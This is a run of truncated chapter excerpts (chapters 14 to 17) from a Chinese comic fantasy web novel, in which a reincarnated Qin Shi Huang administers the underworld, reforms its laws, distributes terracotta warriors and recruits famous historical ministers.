嵩山位置不错,正好在九州中心。在这里办公,遇到事情可以迅速赶往各地。 一般也没人把墓建在嵩山上头,顶多建在山脚,挖空一小部分山体。而办公室在山顶上,和他们没有冲突。 鬼魂爬山可以用飘的,倒是不累。 黄泉府君明显不想见到始皇帝,始皇在阳世待了那么久,扣他不少工资。可交接事务必须有他在场,他还不能避而不见。 面对府君幽怨的表情,始皇不为所动。 他已经知晓府君每月的提成极多,那点罚款其实无伤大雅。府君就是故意装可怜,想把自己塑造成弱势群体。 府君:?什么叫故意装可怜?你知道你害得我奖金被扣了吗?! 本身就要交罚金,月度奖金和年终奖还要被扣一波。虽然加起来可能也不到百万,但架不住府君他是个守财奴。 一分钱也是钱! 始皇并不和他废话,冷酷地询问道: “分管人有什么权力?” 府君:……你真敢问啊! 上来就问权力,一句不提义务,不愧是当皇帝的人,真现实。 始皇奇怪地看一眼不知在脑补什么东西的府君,这个问题很难回答吗? 他当然得知道自己有哪些权柄之后,才能确定该如何履行职责。工欲善其事,必先利其器,权柄就是他的利器。 府君只好收 14.各有心思 《大秦地府日常》全本免费阅读 始皇怫然不悦: “朕的秦律为何不行?” 经过他六十多年的执政,秦律如今已经经过重重修改,十分完善。相比之下,原本的地府律一眼看去就显得粗糙,可见是外行人斟酌着订立的。 想来也是,这些神人仙者哪里懂什么律法?约莫就是仿照哪家的律令照葫芦画瓢,弄出来应付的。 要始皇看,他们还不如当初就直接挑一家的律法全数照搬。这样搬一点改一点,反而显得不伦不类。 府君听着始皇的批判,一时无言以对。 他们确实不懂什么法律条例,因为他们都是按照天道法则行事的。仙神中没那么多勾心斗角,大家的生活都很简单,那点子法则就足够约束众人了。 可是等到开始管束地府鬼魂之后,他们才发现这样下去不行。偏偏又确实不懂法,只好挑挑拣拣在各界拼凑。 始皇面前的地府律中,有些是从古代律法里借鉴的,有些是从现代律法里借鉴的,还有从西方律法里借鉴的,甚至有从末世、修真等稀奇古怪世界观里借鉴的。 翻开一页,满纸写着允许以暴制暴、以牙还牙。 始皇:。 府君弱弱申辩: “地府和阳世自然不同,地府中不会出人命,挨打了再打回去很正常。” 主要他们如果拦着不许打回去,受害鬼会非常愤怒,不服管教。偏偏地府没有阴差之类的治安人员,每界就那么几个人,根本管不过来。 所以地府干脆就允许大家报复回去,先挑事的不仅会遭受受害者同种手段的回报,还要受到管理部门的惩罚,后来暴力事件果然就减少了。 始皇觉得匪夷所思: “倘若一方嘴贱,另一方气不过选择动手。那按照你们的律法,谁是闹事者、谁是受害者?” 府君想说先撩者贱,但是这样一来,另一方只能被允许骂回去而不是打回去。他选择了打,就是没按照律法反击,同样也是在违规。 府君第N次说出: “等我一下!” 被他频繁骚扰的分管人受不了了,干脆直接开空间裂缝跑了过来。府君怎么那么多问题?不能让他直接和新人对话吗? 分管人前辈听了府君的转述,想也不想就直接回答: “这还不简单?骂人的按挑事来处置,并允许打人的那方骂回去。打人的按施行暴力来处置,并允许被打的打回去。” 也就是说不管前因后果,两个举动分开来惩处。 始皇来了兴致,和他辩论起来: “打人者事出有因,是否应该酌情放宽惩处?” 前辈:“恶意打人和为复仇打人本就有不同程度的惩罚方案。” 始皇:“如何分辨是恶意还是复仇?” 前辈:“当然是……” 两人你来我往,一开始聊的东西府君还能听听,后面就听不太懂了。 但他也发现了,前辈渐渐被始皇问得答不上来。 地府律就是有很大的问题,一直没出状况是因为大部分鬼魂畏惧神仙,不敢太过造次。就算判决不服,也顶多压在心里,没胆子反抗。 时间长了,很多人就投胎去了。于是没有闹出来,事情不了了之。 倒也有闹出来的,一般闹出来的多在王侯将相等人之中。他们能在地府停留的时间要长一些,更容易堆积不满最后不管不顾。 每当这个时候,分管人就管不了了,会喊府君前去处理。 始皇和这个任职多年的分管人详细交流完毕以后,只想说地府如果不是地府,而是正常的凡人王朝,恐怕早就被人推翻了。 始皇觉得很难理解: “无人与你们反馈过律法上的问题吗?” 分管人“呃”了一声: “有的,我那个位面的始皇帝、汉武帝等人都说过。” 不止是皇帝,下头的臣子也有很多吐槽过律法有问题。但各界这么多年下来都是这样过来的,也没见闹出无法收场的大麻烦,就懒得改了。 怠政便是如此。 反正也能凑合用,改起来太麻烦,不如不改。关键他们也不知道该怎么改才合理,万一越改问题越大呢。 以前天道没考虑过让这些古今人杰担任地府的管理人员,那些人空有一身才华也无法施展。 即便谁毛遂自荐说可以帮忙修改律法,分管人也是委婉拒绝。 一来他们不想费那个劲,二来也是担心这些人有自己的小心思,在律法上偷偷给自家开后门。 这种事情不是没发生过,这群人精多的是手段替自家谋利。 始皇不信各界当真在老老实实地遵循这个漏洞百出的律法,他思索片刻,向天道检举。 始皇说: “朕怀疑各界有私律。” 明面上大家都在用这个地府律,可谁用谁知道。当真出现大堆难以解决的麻烦时,必然有人会偷偷修改判定条件。 表面上都说“改起来太麻烦了”“找别人帮忙怕被坑”,私底下谁知道到底有没有改、找没找人协助。 那么多位面每天处理那么多事情,天道又不会闲的没事做主动跑去一一检查。 如今有人检举,天道就行动了起来。 片刻后,天道给出答复: 【经检测,目前超过一半位面存在私自修改律法的情况,感谢您的检举!】 始皇:朕就知道。 扫了一眼奖励的上亿功德,顺手把短信界面关掉了。 府君:…… 前辈:……搞半天只有我一个人在老老实实按照律法行事是吧? 始皇又问天道: “私改律法者会有惩处吗?” 他只是受儿子的影响,习惯性抓住机会给自家捞钱,并没有坑别人的打算。人家修改律法也是为了更好地管理地府,不管不顾直接罚过去就有点过分了。 天道回答具体问题具体分析。 改律改得合理的,不会进行处罚。如果后续他们的修改版律法被新地府律征用,提出者可以得到奖赏。 而改得不合理的,是要酌情处分的。毕竟不合理的律法必然导致部分鬼魂利益受损,不能对此视而不见。 府君只要一想到天道后头要疯狂加班,给这些私律擦屁股,就觉得头皮发麻。 这么多位面发生过这么多起判案,全都重新结算的话,这得忙到猴年马月啊! 幸好天道是个法则智障,不会嫌累。 始皇若有所思: “所以还是得尽早制定出新律来。” 府君连忙提醒他: “你那个秦律真的不行,你得结合地府的情况修改,不能全凭自己的喜好来。” 始皇冷静地道: “朕知晓,朕写的是本界的律法。本界鬼魂皆是秦人,早已习惯秦律,可沿用。” 府君:…… 府君想问问他,你是不是忘了地府里还有很多夏商周时期的老古董。而且庶民里,仍有部分六国旧民还没去投胎,怎么就都是你秦人了? 他不提还好,一提始皇想起来了。 始皇问他: “阴寿如何计算?” 他光知道耗尽之后可以用功德续命,但阴寿本身的计算规则呢?没人同他说过,因为大家都默认他不需要烦恼这件事。 府君愣了一下,突然想起始皇好像是对地府的常识一知半解的时候就跑去阳世了,难怪很多事情都不清楚。 他一拍脑袋: “你等下,我给你发一份具体细则。” 趁着府君找细则的功夫,始皇向天道提出建议。 其实没必要强求各界必须用一样的律法。 不同位面的所处时代不同,文化细节也各有差异,都用一样的反而不好。 还不如各界自己讨论,制定出最适合当前的律法。且律法这东西也并非一成不变,回头随着时代的变化也要一点点增改删除。 天道接纳了他的提议,但还是表示自己需要考察一番再做决定。如果当真要各界制定不同律法的话,那就得组建立法团队了。 反正立法、司法肯定是要分开的。 府君终于找到了细则,发给了始皇,始皇接过之后迅速翻完。 阴寿的计算其实很简单。 鬼魂和躯体是相辅相成的,躯体还在,魂体就还在。躯体腐朽凋零,魂体也会受到影响变得虚弱。 如果一个人的遗体保存得很好、防腐措施做得也好,那它的阴寿就会比别人长。因为要等到遗体腐坏到一定程度的时候,魂魄才会虚弱到必须去投胎。 这个时候,可用功德续命。之后躯体再如何损坏,都和鬼魂无关了,鬼魂的寄生之所从躯体变成了功德。 死物也是同理。 墓穴中的陪葬品,如果本体受损,陪葬品的物魂也会损坏。用功德可以修补,哪怕本体碎裂成渣,及时灌输功德也能将之留存下来。 不过这里头有个反向操作。 如果陪葬品里存在一些不想让人取走的东西,一旦自己的墓穴中进入盗墓贼,墓主人可以选择直接捏碎物魂。 这样一来,本体也会碎裂,避免被盗墓贼拿出去示人。 但这招只能用在死物上,鬼魂就算再不想别人把自己尸骨拿走,也不能自杀。因为天道强行规定了鬼魂不死,只能投胎转世。 投胎也相当于死亡了,毕竟重生之后你不再是你。 始皇陷入了沉思。 难怪庶民阴寿会比较短,因为庶民的棺椁基本没有防腐措施。 既然如此—— 始皇不动声色地给黑龙发消息,他之前和黑龙加了好友。如今玄鸟去其他位面寻别的始皇帝了,黑龙倒还在大秦待着。 始皇:躯体防腐可延长阴寿,请龙君受累告知阿 15.神兽俑 《大秦地府日常》全本免费阅读 将闾忍不住感慨: “我大兄要是昭襄王之子就好了。” 其他人疑惑地看向他,昭襄王感慨这个他们还能理解,怎么连三公子也这样想? 将闾压低声音解释: “这样大兄就去和昭襄王父子情深了,可以把父亲让给我们。” 没了霸道的大兄,父亲对下面的儿女大多一视同仁。大家都能分到更多的宠爱,没有谁特别受宠招人嫉妒。 众人:…… 公子你有没有想过,这样的话太子殿下可能并不会和昭襄王父子情深。 父子情深的前提是当爹的要做个人,昭襄王那样的换什么儿子过去都没用。 而且没了太子,大秦托付给谁去?其他公子公主看着都不太能顶事啊! 将闾张嘴一秃噜: “不是还有我大侄儿桥松——哦!桥松是我大兄生的,那没事了!” 将闾选择换个话题: “你们当真要给昭襄王送一堆兵马俑过去吗?” 这个问题,身为臣子不好自作主张。 要不要询问陛下? 可是总打扰陛下也不好,不能什么事都要陛下亲力亲为,何况陛下今日似乎还有要事要办。 公子高叹息一声: “寻常这时,我等都是寻大兄决断的。” 从很久之前开始,大兄就能敏锐抓住父亲的想法了。所以父亲忙不过来时,询问大兄总没错。 更何况后来大兄被立为了太子,还不是没实权的太子,而是享有半君地位的那种,做起决断来更加理所当然。 他们其他人也不是做不出决定,只是为臣者不好越过君上私自定夺。 李斯刚要提议可以先商议好对策,再呈给陛下批复。这样陛下只需判过还是不过,不用费额外的心思。 张良忽地想起什么,出了个主意: “诸位可有黑龙神君的联络方式?” 聪明人立刻都懂了: “是了,龙君还在太子殿下身边,可以代为询问太子。” 众人一下子找到了主心骨。 陛下不在、太子也不在的日子真是难捱,能随时和太子殿下通讯最好不过。 交际达人刘季起身: “此事就交由本太守来处理,某交友甚广,应有友人认识神兽。” 神兽互相之间肯定都认得,到时候要一下联系方式就成。还能顺便要个玄鸟的联系方式,到时大家一起加好友。 没多久,刘季就弄来了黑龙的好友。 扶苏收到了黑龙转达的消息,彼时他正提笔勾勒着一幅画作打发时间,画的是龙君强烈要求的龙舞英姿。 听了黑龙的转述,他搁下笔: “这群家伙没事找我做什么?地府那么多先王不能做主?” 黑龙推推他手示意他赶紧画不要偷懒: “一群没断奶的,你别管他们。” 扶苏只好重新拿起笔: “请龙君告知群臣,每家派遣一队千人的护卫即可,搭配百名骑兵。” 听他们的说法,就算六国贵族齐齐上门找事,最多也不过是能够纠集出数千人的队伍,里头还有不少凑数的。 更多的贵族不会傻了吧唧跑来闹事,地府情况复杂,可能早有人弃六国而投秦了。 既如此,千人的兵俑足够了。乌合之众再翻一倍也不是千人部队的对手,何况还有战斗力更强的骑兵支援。 至于昭襄王的野望—— “阿父的军队数量有限,不可多给。” 想偷他爹的军队去满足自己的私欲,做梦比较快。 提起这个,扶苏又把笔丢一边去了。 他唤了人进来回话: “之前给先帝做兵马俑的匠人呢?” 少府令答道: “还在骊山陵并未迁走。” 扶苏满意颔首: “再多做些,之前那些不够父亲用的。” 少府令一呆: “可丛葬坑都已封土,新的那些要放置在何处?” 扶苏心说这还不简单: “骊山陵中城区的山川之上,自然也可派兵驻守。” 本位面骊山陵的中间区域是规模庞大的山川复刻模型,天下名山大川尽在其中,完全按照秦土的地形仿制。 因为始皇帝在位六十多年,已经收服了东南西北各处。所以什么北部草原、西部高原的,里头都有。 甚至东边还有一片人造的“海”,毕竟大秦有个扶桑郡在海上。扶桑郡也被复刻了进去,那海域自然也要复刻。 为此又是一大笔水银的支出,幸而大秦领地扩张之后,弄到了更多的水银,不然还没法复刻海洋。 扶苏便道: “之前山川区域无人镇守,这很不好。在各处安置不同的兵俑,再让工匠造一些大船,知道了吗?” 少府令只好应下。 黑龙叹为观止: “你这是要海军陆军什么都给始皇配上啊!” 仗着陵墓尚未彻底封闭,不断往里头塞需要的东西。拿着攻略抄答案,这作弊作的,同情一秒地府里的六国之人。 但黑龙很兴奋: “要不要尝试做几个神兽的陶俑啊?万一激活之后能飞呢?” 它也想体会一下率领千万条龙俑招摇过市的感觉,可惜神兽界的黑龙就它一条,别的龙又不听它号令。 扶苏:好主意! 扶苏又把少府令叫了回来: “过几日朕画一些神兽的模样,你让匠人一并制作了。” 少府令不解,陛下这又是打哪儿得到的灵感? 阳世的二世陛下在折腾臣子和匠人。 地府的始皇陛下已经抵达目的地了。 地府中存在四个现成的传送点,位于五岳中其他四岳之上。五岳说是五岳,其实不是只有五座山峰,但只有主峰峰顶存在传送阵。 地府居民可以自行选择传送去往哪个位面或者哪个空间,这是个可控的智能传送装置。 不过地府公职人员不能那么麻烦。 始皇选定好目的地后,直接利用分管人权限开启空间通道,眨眼间便来到了另一个位面的骊山陵外。 因为这里的始皇帝一直缺席的关系,属于他的陪葬品都不曾解锁。是以兵马俑还在丛葬坑中沉寂地列着队,安静地等待主人的归来。 始皇抬头看了看高大的城墙,缓步走向厚重的城门。感知到主人归来,城门悄然洞开。 “来者何人!” 在城门后角斗打闹的几人一惊,立刻收手警戒起来。 待看清来人的样貌之后,俱是一愣。 “陛下!” 将军蒙恬率先上前: “不知阁下是哪个位面的始皇帝陛下,三世陛下不在此处,且容末将派人前去告知一声。” 始皇没有回答这个问题,而是问道: “桥松过来需要多久?” 蒙恬谨慎地估算了一下: “兴许要半刻钟,三世陛下正与先王们在桑陵议事。” 桑陵是秦三世桥松的陵寝。 前世扶苏因不愿劳民伤财不曾额外派人为自己修建皇陵,非说葬进骊山陵的陪葬区即可。 他愿意为父亲陪葬,还提议后世子孙都来给始皇陪葬,这样始皇在地府也能子孙绕膝。 这个提议险些逼疯臣子们,最后到底是没有被采纳。不过皇帝自己不肯修陵别人也没办法,撞柱死谏都没用。 后来扶苏去世,桥松不敢真让亲爹就葬在陪葬区,就干脆将他的棺椁送入了骊山陵的地宫。 正好因为扶苏总想帮父亲把墓修得更好一些的缘故,地宫一直没封闭,在不断往里头添置陪葬品。 否则的话,这件事只会更难办。 起先将作少府寻了处风水极佳之地,提议给二世修陵所用,便把此地即将建造的皇陵暂且称为“桑陵”。 扶苏既没用上,就挪给三世的桥松了。 始皇干脆转身前往桑陵: “朕直接去那处见他们即可。” 众将军连忙跟上,担忧陛下不认识路,还有人上前领路。 桑陵相对骊山陵来说简朴了许多,但毕竟是大一统王朝建造的陵墓,相较于旁的墓穴还是要更豪华不少。 始皇帝入内的时候,便看见一些兵俑在门口值守。可见骊山陵的兵马俑虽未激活,桑陵自己也按照祖父的旧例陪葬了人俑。 韩信抱着臂守在殿外,看浩浩荡荡来了一群人,有点意外。见到为首的始皇才恍然明白什么,扭头进去通报了。 不一会儿,秦三世出来迎接。 哪怕不是自己这个位面的祖父,到底也是始皇帝。三世皇帝桥松恭恭敬敬行了一礼,口称“陛下”。 三世问出了和蒙恬一样的问题: “不知陛下来自哪个位面?” 各界的始皇帝长相一致,实难区分。所以只能询问位面代号,借此来分辨。 始皇倒是不知道自己那个位面先王们给起了什么代号,也懒得问。反正不管原先叫什么,他都可以重新起一个。 于是始皇张口便道: “位面的话……便叫梓桑位面吧。” 梓桑是他今生给太子扶苏取的表字,希望孩子能长寿安康。因为扶苏重生时正值生病,之后就总有些体弱,让人担忧。 其实前世他给爱子起的表字不是这个。 那时的扶苏非常健康,他便希望儿子能延续自己当初给他起名“扶苏”时的期望。 扶苏乃高大的桑树,表字为名的补充解释,于是他为长子取了“楼桑”。意为高耸如云楼的桑树,希望扶苏能像大树一样屹立不倒、为大秦绵延国祚。 对始皇帝来说,重生前和重生后,和名字相关的最大不同点就在此处。正好可以借用过来,作为两个位面的区分代号。 始皇这明显是当场取的代号让众人意识到了什么,猜测始皇可能来自一个新生的位面,这才没来得及取名。 秦三世问道: “不知陛下前来有何要事?若是来拜访本界的始皇帝陛下,恐怕要让您失望了。” 三世心里还有点隐晦的期待,期待对方是不是听闻了这边的情况,想到了能替他们寻回始皇帝和二世的办法,这才特意前来。 但他也清楚,这个可能性微乎其微。 始皇倒是越发确定了自己的推测,这里果然没有他和扶苏,因为二人魂魄前往了另一个世界。 他看着面前这个神色疲惫的长孙,也不知他独自支撑了多久。先祖要他照顾,下头的晚辈也需要他去安抚,想来 16.人才招揽 《大秦地府日常》全本免费阅读 始皇开直播只是想让孙子确认一下他爹活得好好的,不要再担心了。 没想到会正好撞见这么一幕。 他面不改色地将直播关闭,反正看也看过了,剩下的就给孩子留点面子吧。扶苏也是为了他,想给他更多更好的陪葬品,才这么努力的。 在场众人从直播的这短短片段里确认了里头那个缺德的秦二世就是他们太子没错,再无一人怀疑。 也不能怪他们武断,实在是这么多个拥有大秦的位面放在那,各类扶苏他们也结识过一圈。 大家见过耿直的扶苏、刚毅的扶苏、腹黑的扶苏,甚至还有懦弱的扶苏。但至今为止还没见到过第二个和他们家太子一样,返祖成昭襄王二号的扶苏。 准确说是,昭襄王秦稷和庄襄王子楚的结合体,无赖且腹黑。 三世桥松想起一事: “祖父既然回来了,那皇陵中的陪葬品便能激活了。” 地府中的陪葬品须得主人进入地府后才能激活,之后无论是自用、送人还是被偷窃抢夺,这类操作都可以实现——哪怕主人投胎去了。 但是如果主人没进入地府,那就会一直处于待激活状态。谁也动不了它们,只能干看着。 始皇在这个骊山陵里逛了一圈,很快把兵马俑和各类陪葬品都做了归属。 他自己用不着带这些回之前的位面,不如留给先祖和儿孙们使用。阳世的扶苏还在不断地给父亲塞好东西,他缺什么都不会缺这个。 先祖们也不和他客气: “也罢,就当是政儿你孝顺我们的。” 后辈们倒是有些不好意思,始皇没兴趣和这些不熟的晚辈掰扯,把事情交给三世处理后就离开了。 东西怎么分随他们去,要是不够,就去梓桑位面找他拿。 交代完事情,始皇回到了原位面。 回来的时候将军正在分兵马俑。 白起混在人群里指指点点: “这个,这个个子矮一些,不如其他的强壮,把这个给大王吧。” 李信二话不说应下: “行!武安君您再挑几个,要凑足一千呢!” 白起撸起袖子: “交给老夫,老夫一定给他挑出最差的一千个兵俑。” 始皇:…… 白起口中的大王必然就是他的旧主昭襄王秦稷了。 看来老将军对昭襄王还是很有意见的。 蒙恬发现了陛下回来,连忙行礼。其他人闻言也纷纷放下手头的事情,上前来拜见陛下。 始皇让他们自行去忙,只留蒙恬一人。 他问道: “兵马俑你们是怎么分的?” 蒙恬答道: “托龙君问过太子了,殿下说给每位先王派遣一千名兵俑和一百骑去即可。” 始皇对此没有异议: “太子做事朕很放心,既如此,朕便不管了。给先祖们修缮住处若砖石不够用,也可寻太子讨要。” 虽然他的骊山陵大部分区域都封土了,再往里加塞东西不太方便,但也不是完全不能塞的。 实在不行还能看看哪个臣子的墓正在修建,预备过段时间下葬。到时候往里头多丢一些砖石,等臣子下来就可以直接从他墓里取用。 从阳世弄这些材料,远比用功德在商城购买划算。功德这样的东西用一点少一点,还是得勤俭持家。 蒙恬当即应下: “是!陛下放心!” 眼看没有别的事情需要自己处理,始皇就回乾元宫去了。他得回去思索一下修改律法的事情,要怎么改才能对大秦更有利。 始皇想起先祖们教导他加好友的方法,寻摸着把认识的人都加了个遍。他还问了先祖如何拉群,他见秦君有几个家族讨论群。 ——所有秦君都在的大群有一个,带家属的大群有一个。战国时期的秦君们有个私群,战国带家属的私群还有一个。 除此之外,秦稷还额外建立了三个群。 一个群里是大秦出了名的有为之君,一个群里全是称过王的秦王。 还有一个群里起初只有两人,秦稷和始皇。据说秦稷预备着等扶苏下来之后,把扶苏也拉进来。 始皇就问他为何单单只拉他们父子。 秦稷说他觉得自己和他们父子俩投缘,所以想和他们说悄悄话。 始皇:…… 始皇二话不说就退群了。 别以为他没看出来昭襄王是在觊觎他家太子。 总之,这么点人,愣是拉了十好几个群。 始皇只加了大群和战国相关的群,但他猜也猜得到周朝时期的秦君、春秋时期的秦君肯定都有各自的小群。 先祖们还说这不算什么,还没把他往有臣子的群里拉呢。等以后他自己加了臣子,肯定还会再拉新的群。 始皇不得不承认先祖说的是对的。 把臣子们都加上之后,始皇就开始给他们分类了。而后大群拉一个、京官拉一个、地方官拉一个、文臣武将分别拉一个、宗室拉一个、自己的血脉还要拉个小群。 暂且就这样吧,以后需要了再拉。 看着群列表里五花八门的群,始皇都有点分不清哪个是哪个了。他仔仔细细给每个都改了备注,一眼望去整整齐齐,强迫症一本满足。 拉完群,始皇在文臣的群里发布了重要指示: “懂律法的都过来一趟。” 有臣子不用白不用,他为什么要一个人绞尽脑汁地思考,当然是把臣子喊来一起加班。 李斯等人迅速集结,很快抵达了乾元宫。 人群里还有点意外之喜。 商鞅被推了出来,蒙毅介绍道: “陛下,此乃商君。” 始皇满意颔首: “不错。” 然后张仪也被推了出来。 虽然张仪在律法上没有特别出名的建树,不过无所谓了。始皇一朝的臣子只是想借此机会给陛下多介绍几位名臣而已,以后或许能派上用场。 如果说先王们的心腹爱臣被带来了,还算可以理解的话。这之后被推出来的吴起、乐毅等人,就有点离谱了。 这几个以前都不是跟着秦国混的,各有各的赏识之君。虽然大部分结局都不太好,但只有少数是伯乐亲自动手的,基本还是继任者不做人。 像李悝那种纯粹因为自己判案判错了自杀谢罪的比较少,这种就不会弃伯乐而去,目前还在旧主手底下干活。 这头乐毅说: “我为燕国鞠躬尽瘁,奈何燕惠王容我不得。若非那蠢货猜忌,我早助燕国灭了齐国,哪里还要等大秦动手!” 说到这里乐毅就要气死了。 他把齐国打得只剩下最后一口气了,已经定好了消磨齐人心性的计划。多给他几年,齐人就会彻底绝望,再不想着复国。 燕惠王倒好,非说他留着齐国一城不灭是想自己当齐王,根本不是为燕国着想。 一生功业毁于一旦,乐毅感觉自己半辈子白忙活了。燕惠王不感激他协助燕昭王振兴燕国就算了,还这么对待他,他咽不下这口气。 所以哪怕死下来之后燕昭王仍旧对他礼遇有加,努力想要消除他和儿子之间的隔阂,乐毅也敬谢不敏。 燕惠王也是个人物,赶走乐毅之后发现没了乐毅的燕国就是个弟弟,又开始后悔。 原本乐毅死前其实已经和燕国重修旧好了,毕竟燕惠王都认错了。身为臣子还能怎么办呢,继续拧着只会被人骂不识好歹。 但是吧,来了地府之后燕王不再是王。乐毅又听闻其他位面的人说始皇帝如何如何宠信功臣从不忌惮…… 乐毅目光灼灼地看向始皇: “陛下!您真的不会担忧臣子功高震主吗?” 始皇并无被冒犯的不悦。 他平静地反问: “何人能有朕功更高?” 乐毅哈哈大笑,说自己转投大秦果然是个正确的决定。 “听闻其他位面的大秦,六国里五国都为王翦父子所灭。然始皇帝陛下依然从无忌惮,光这一点就无人可敌了。” 吴起也跟着微微一笑,又叹了口气: “我也是命不好啊!” 吴起比乐毅的经历还曲折。 他先是为魏国的魏文侯效力,帮魏国弄出了名垂千古的古代特种兵部队魏武卒。魏武卒有“与诸侯大战七十六,全胜六十四”的辉煌战绩,可见吴起对魏国的贡献。 结果魏文侯的儿子魏武侯听信小人谗言,他只好转投楚国。 去了楚国也没捞到好,辛辛苦苦帮楚悼王弄出了吴起变法,令楚国南征北战少有败绩之后。楚悼王死了,他的好日子到头了。 这次倒不是楚悼王的儿子不做人,而是被吴起变法影响利益的楚国贵族没忍住。他们趁着楚悼王举办丧礼的时候射杀了吴起,吴起哪怕往楚悼王尸体旁边躲都没用,尸体都被他们一起射成了筛子。 刘季缺德地笑话道: “楚悼王疯了一样整天找那些贵族的麻烦,都好多年了,一直没消停,现在楚地乱得很。” 主要尸体被这么损毁之后,楚悼王的阴寿也受到了极大的影响。本来诸侯国君功德就有限,被这么一整肯定要跟人拼命的。 幸亏楚悼王还算英明,又有吴起变法这段时间带来的功德,才不算损失惨重。 但古人嘛,都在意自己的遗体,谁乐意死后被人这么对待呢。 吴起摇了摇头: “光是得遇明主也不够,还得明主的继承人也能靠得住。我观太子殿下仁德孝顺,必不会重蹈那些人的覆辙。” 吴起反正是不想再经历一遍被继任者背刺的事情了。 楚悼王的继任者看似没动手,实则还不是无能。又或者是故意纵容,拿他平息贵族的愤怒。 若非大秦出了个始皇帝,就惠文王对商鞅的手段,商鞅也得掂量一下 17.全位面通报批评 《大秦地府日常》全本免费阅读 王安石就这么稀里糊涂被强行归入了大秦队伍之中,没给他拒绝的机会。 王安石伸出了抗拒的手: “可晚辈并非你们这一位面的人——” 始皇觉得没什么问题: “你现在是了。” 王安石:…… 始皇还觉得这种招揽人才的方式很不错。 他们大秦一向不拘一格,强行抢人的事情也干过好几回。 譬如当初征辟韩非,就是到处宣扬秦王政欣赏韩非。然后等秦军兵临城下之时,韩王安果然把韩非打包送来了大秦。 虽然最后的结果不太好就是了。 再譬如当初征辟纵横家大才郦食其,就是太子派人强行把郦食其一家都“请”来咸阳的。没办法,郦食其只好躺平,选择打不过就加入。 后来郦食其在大秦混得如鱼得水,还立下了协助灭齐之功。 甚至就连韩信,都是大秦商队连哄带骗从韩信的表亲家里赎回来的。送来咸阳后就被太子带在身边教养,体验了一把养成系少年将军的快乐。 韩信也不负所望,东灭东胡,西平高原,打得大秦周边的附属国嗷嗷叫。 始皇期待地看向王安石: “爱卿也有大才,对吧?” 王安石感觉压力山大。 不是,这些好多都是灭国狠人,他一个柔弱的文臣,再怎么自负心里也有点虚。 主要他也不知道始皇帝对他的期待具体是什么,心里就很没底。 总不能是找他来变法的吧? 始皇终于说起了他的目的: “地府各界的律法将有大改,本位面的改动朕可以参与其中。朕的要求不高,诸位爱卿结合地府的基本情况,给朕总结出一份对大秦最有利的律法即可。” 原来是要做这个啊。 一群变法强人立刻就来劲了。 在场的不是自己主持过青史留名的变法改革,就是参与过始皇一朝的秦律修订。区区一个地府的律令而已,小菜一碟。 大家当即表示没有难度,待他们取来纸笔,即可一一商讨起来。 始皇便唤来侍者俑,替爱卿们去取他们所需之物。以后要什么直接告诉侍者俑,无需拘谨。 臣子们便寻了处空桌,商议起来。 始皇单独叫住了李斯: “韩非缘何没来?” 李斯:……陛下,您想让臣怎么回答呢? 当初他害死了韩非,世人都说他是嫉妒韩非才华才下此毒手,也不想想他李斯有没有那个胆子越过始皇帝戕害旁人。 但李斯还是只能默默担下这个骂名,不然总不能逢人就说这是陛下授意的,陛下觉得韩非不愿真心事秦、留着他是个祸患? 不管真相如何,反正韩非一向是不搭理李斯的。 大秦的众人也尝试过拉拢韩非,可惜没什么效果。不仅是韩非,他们还拉拢过管仲、李悝、申不害……总之所有名臣都尝试了,成果陛下也看到了。 始皇闻言颔首: “果然如此,能得吴起等几位大才已是难得,确实不该太过贪心。” 主要大家现在也不必治理国家,招揽一大堆臣子好像没什么用武之地的样子。不过是他们大秦看别人家的人才眼红,老想多拐几个回来罢了。 李斯忽地想起一事来: “今日来的都是文臣,有些武将还未曾过来拜见陛下。” 始皇顿生兴致: “都有谁?” 李斯就给他数了,孙武、伍子胥之类的。 大秦深谙趁着人家伤心的时候挖墙脚之道,譬如孙武和伍子胥,都是被吴王背刺过的。那吴王夫差本来也不是什么明主,挖起来难度倒是不高。 秦稷背着手进来,正好听见他们聊这个。 秦稷一下子就来劲了: “政儿啊,你手底下文臣武将那么多,不如分给曾祖父一点吧?你看白起舍寡人而去了,眼看哄不回来,朕也不多要,你把王翦借寡人使使。” 王绾差点一句“你做什么美梦呢”脱口而出,反应过来之后赶紧闭上嘴。 罪过罪过,他被太子殿下同化了,说话也开始不把门起来。那可是先王,还是昭襄王,他得罪不起。 不过王绾没说,总有人会说的。 始皇眼都不抬就拒绝了: “曾祖父不如回去睡个觉,梦里什么都有。” 秦稷:…… 政儿,你学坏了! 果然不能让政儿和扶苏待太久,容易被传染坏毛病。 秦稷还想抗议,始皇已经和李斯聊起了别的。不过聊了一会儿他想起李斯对修律最在行,聊天可以找别人,没必要浪费李斯这么个人才。 于是他把李斯遣去干活,换了蒙毅过来。 始皇先问道: “朕此前听说了胡亥继位之事,到底发生了什么?” 上来就是王炸,蒙毅冷汗都出来了。 他不敢回答,也不敢不回答。犹豫了好一会儿,一直在斟酌措辞。 秦稷看得着急: “唉!你这小子,一个问题都答不上来!你歇着,寡人来说!” 蒙毅立刻就开口打断了他: “不了,还是臣说吧!” 让昭襄王说的话,他担心对方不会说话刺激到陛下。毕竟这里头还牵扯到太子自刎之事,陛下肯定难以接受。 秦稷:? 秦稷很不高兴,他大声指责道: “政儿,你看看你养的好臣子,一点都不尊重寡人!” 蒙毅一惊,就要跪地请罪。 始皇却已经看透了一切: “说吧,您想要什么?” 秦稷见好就收: “多给寡人派几队兵马俑,寡人就大度一回不计较了。” 蒙毅:…… 蒙毅心想,我刚刚真是白担心了。 果然,他就不该把昭襄王当成一个君威莫测的大王。应该对标一下太子殿下,如果是太子说这样的话,他肯定立刻就能反应过来太子是在找借口占便宜。 始皇现在没心情和曾祖父掰扯这个。 他想了想,说道: “额外增派十队兵马俑在秦地巡逻,曾祖父您可以随意调遣它们。” 看似给了,其实没有。 就像一件玩具,允许你偶尔玩一下,拿回家或者一直玩个不停是不行的。毕竟那些兵马俑还要“巡逻”,是要干正事的。 不过秦稷也知道再闹下去就不体面了。 他很好说话地点头: “成,就这样,寡人有事就先走了。” 没了老顽童打搅,始皇终于可以静心听一听蒙毅讲述其他位面的发展。 蒙毅斟酌着词句: “有些大秦长公子去得早,所以被公子胡亥捡了便宜。” 这个回答是符合始皇预期的,但始皇看出来了,蒙毅在避重就轻。 他敲了敲桌案: “如实说。” 蒙毅只好实话实说: “大部分位面中陛下与长公子因政见不同而父子失和,长公子被遣去同兄长一起戍边,陛下却带幼子在身侧相伴。” “后来陛下猝然染病,命臣去祭祀山川。不等臣归来,便病入膏肓。只得给长公子送信命其回京治丧,却不想被奸人钻了空子。” 